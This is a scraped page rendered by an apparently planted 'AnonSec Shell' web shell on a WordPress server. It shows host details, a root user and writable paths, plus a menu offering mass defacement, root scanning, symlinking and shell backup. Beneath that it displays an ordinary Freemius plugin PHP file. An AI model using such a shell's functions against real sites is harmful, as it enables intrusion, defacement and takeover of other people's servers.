AnonSec Shell
Server IP : 104.21.14.48  /  Your IP : 3.140.196.185   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/plugins/cf7-styler/freemius/includes/entities/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/plugins/cf7-styler/freemius/includes/entities/class-fs-entity.php
<?php
	/**
	 * @package     Freemius
	 * @copyright   Copyright (c) 2015, Freemius, Inc.
	 * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
	 * @since       1.0.3
	 */

	if ( ! defined( 'ABSPATH' ) ) {
		exit;
	}

	/**
	 * Get object's public variables.
	 *
	 * @author Vova Feldman (@svovaf)
	 * @since  1.0.0
	 *
	 * @param object $object
	 *
	 * @return array
	 */
	function fs_get_object_public_vars( $object ) {
		return get_object_vars( $object );
	}

	class FS_Entity {
		/**
		 * @var number
		 */
		public $id;
		/**
		 * @var string Datetime value in 'YYYY-MM-DD HH:MM:SS' format.
		 */
		public $updated;
		/**
		 * @var string Datetime value in 'YYYY-MM-DD HH:MM:SS' format.
		 */
		public $created;

		/**
		 * @param bool|object $entity
		 */
		function __construct( $entity = false ) {
            if ( ! ( $entity instanceof stdClass ) && ! ( $entity instanceof FS_Entity ) ) {
                return;
            }

			$props = fs_get_object_public_vars( $this );

			foreach ( $props as $key => $def_value ) {
				$this->{$key} = isset( $entity->{$key} ) ?
					$entity->{$key} :
					$def_value;
			}
		}

		static function get_type() {
			return 'type';
		}

		/**
		 * @author Vova Feldman (@svovaf)
		 * @since  1.0.6
		 *
		 * @param FS_Entity $entity1
		 * @param FS_Entity $entity2
		 *
		 * @return bool
		 */
		static function equals( $entity1, $entity2 ) {
			if ( is_null( $entity1 ) && is_null( $entity2 ) ) {
				return true;
			} else if ( is_object( $entity1 ) && is_object( $entity2 ) ) {
				return ( $entity1->id == $entity2->id );
			} else if ( is_object( $entity1 ) ) {
				return is_null( $entity1->id );
			} else {
				return is_null( $entity2->id );
			}
		}

		private $_is_updated = false;

		/**
		 * Update object property.
		 *
		 * @author Vova Feldman (@svovaf)
		 * @since  1.0.9
		 *
		 * @param  string|array[string]mixed $key
		 * @param string|bool $val
		 *
		 * @return bool
		 */
		function update( $key, $val = false ) {
			if ( ! is_array( $key ) ) {
				$key = array( $key => $val );
			}

			$is_updated = false;

			foreach ( $key as $k => $v ) {
				if ( $this->{$k} === $v ) {
					continue;
				}

				if ( ( is_string( $this->{$k} ) && is_numeric( $v ) ||
				       ( is_numeric( $this->{$k} ) && is_string( $v ) ) ) &&
				     $this->{$k} == $v
				) {
					continue;
				}

				// Update value.
				$this->{$k} = $v;

				$is_updated = true;
			}

			$this->_is_updated = $is_updated;

			return $is_updated;
		}

		/**
		 * Checks if entity was updated.
		 *
		 * @author Vova Feldman (@svovaf)
		 * @since  1.0.9
		 *
		 * @return bool
		 */
		function is_updated() {
			return $this->_is_updated;
		}

		/**
		 * @param $id
		 *
		 * @author Vova Feldman (@svovaf)
		 * @since  1.1.2
		 *
		 * @return bool
		 */
		static function is_valid_id($id){
			return is_numeric($id);
		}

        /**
         * @author Leo Fajardo (@leorw)
         * @since 2.3.1
         *
         * @return string
         */
        public static function get_class_name() {
            return get_called_class();
        }
	}

Anon7 - 2022
AnonSec Team